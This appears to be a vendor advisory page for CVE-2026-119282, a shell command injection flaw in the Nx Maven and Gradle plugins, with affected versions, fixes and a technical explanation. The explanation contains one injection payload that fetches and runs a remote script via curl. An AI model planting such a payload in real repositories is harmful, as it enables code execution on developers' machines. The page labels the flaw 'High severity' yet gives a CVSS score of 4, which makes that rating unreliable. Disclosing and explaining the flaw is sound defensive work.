Quick answers
- Is CVE-2026-119282 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2026-119282 being exploited in the wild.
- How severe is CVE-2026-119282?
- High severity, with a CVSS score of 4, published 29 October 2026.
- Which products and versions are affected?
- @nx/gradle (npm) >= 21.0.0, < 22.7.9, SEMVER:introduced=21.0.0,fixed=22.7.9; @nx/maven (npm) >= 22.0.2, < 22.7.9, SEMVER:introduced=22.0.2,fixed=22.7.9; Nrwl @Nx/Gradle 21.0.0 through 22.7.8, 23.0.0 through 23.1.1; Nrwl @Nx/Maven 22.0.2 through 22.7.8, 23.0.0 through 23.1.1; and 1 more.
- Is there a fix for CVE-2026-119282?
- Yes. @nx/gradle (npm): upgrade to 22.7.9 or later; @nx/maven (npm): upgrade to 22.7.9 or later. Until then: Do not clone or run nx commands in untrusted repositories or pull requests that may contain malicious nx.json files. Restrict repository access to trusted contributors, and review nx.json changes in pull requests before merging. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2026-119282 attacked?
- It is attacked with local access, in a software library.
- Am I affected by CVE-2026-119282?
- Check whether you run @nx/gradle (npm), @nx/maven (npm), Nrwl @Nx/Gradle or one of the others listed at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
How to fix
- @nx/gradle (npm): upgrade to 22.7.9 or later
npm install @nx/gradle@22.7.9 - @nx/maven (npm): upgrade to 22.7.9 or later
npm install @nx/maven@22.7.9
Do not clone or run nx commands in untrusted repositories or pull requests that may contain malicious nx.json files. Restrict repository access to trusted contributors, and review nx.json changes in pull requests before merging.
Technical details
The @nx/maven and @nx/gradle plugins spawn build tool analyzers with shell:true and interpolate plugin options from nx.json directly into command arguments. In Maven, the targetNamePrefix option is injected as -DtargetNamePrefix; in Gradle, all plugin options are mapped to -Pkey=value pairs with an open index signature allowing both key and value injection. An attacker modifying nx.json with payloads like "targetNamePrefix": "a; curl evil.sh | sh" can execute arbitrary shell commands when any nx command constructs the project graph. The fix removes shell execution and passes arguments as arrays, with proper escaping for Windows .bat/.cmd shebangs.
Affected products
- Nrwl nx 22.0.2 through 22.7.8, 23.0.0 through 23.1.1
- Nrwl @nx/maven 22.0.2 through 22.7.8, 23.0.0 through 23.1.1
- Nrwl @nx/gradle 21.0.0 through 22.7.8, 23.0.0 through 23.1.1
Identifiers
- CVE-2026-119282
- GHSA-qm8w-vx34-5j9j
Timeline
- 2026-10-29: disclosed: Vulnerability published
- 2026-08-14: patched: Fix committed; released in versions 22.7.9 and 23.1.2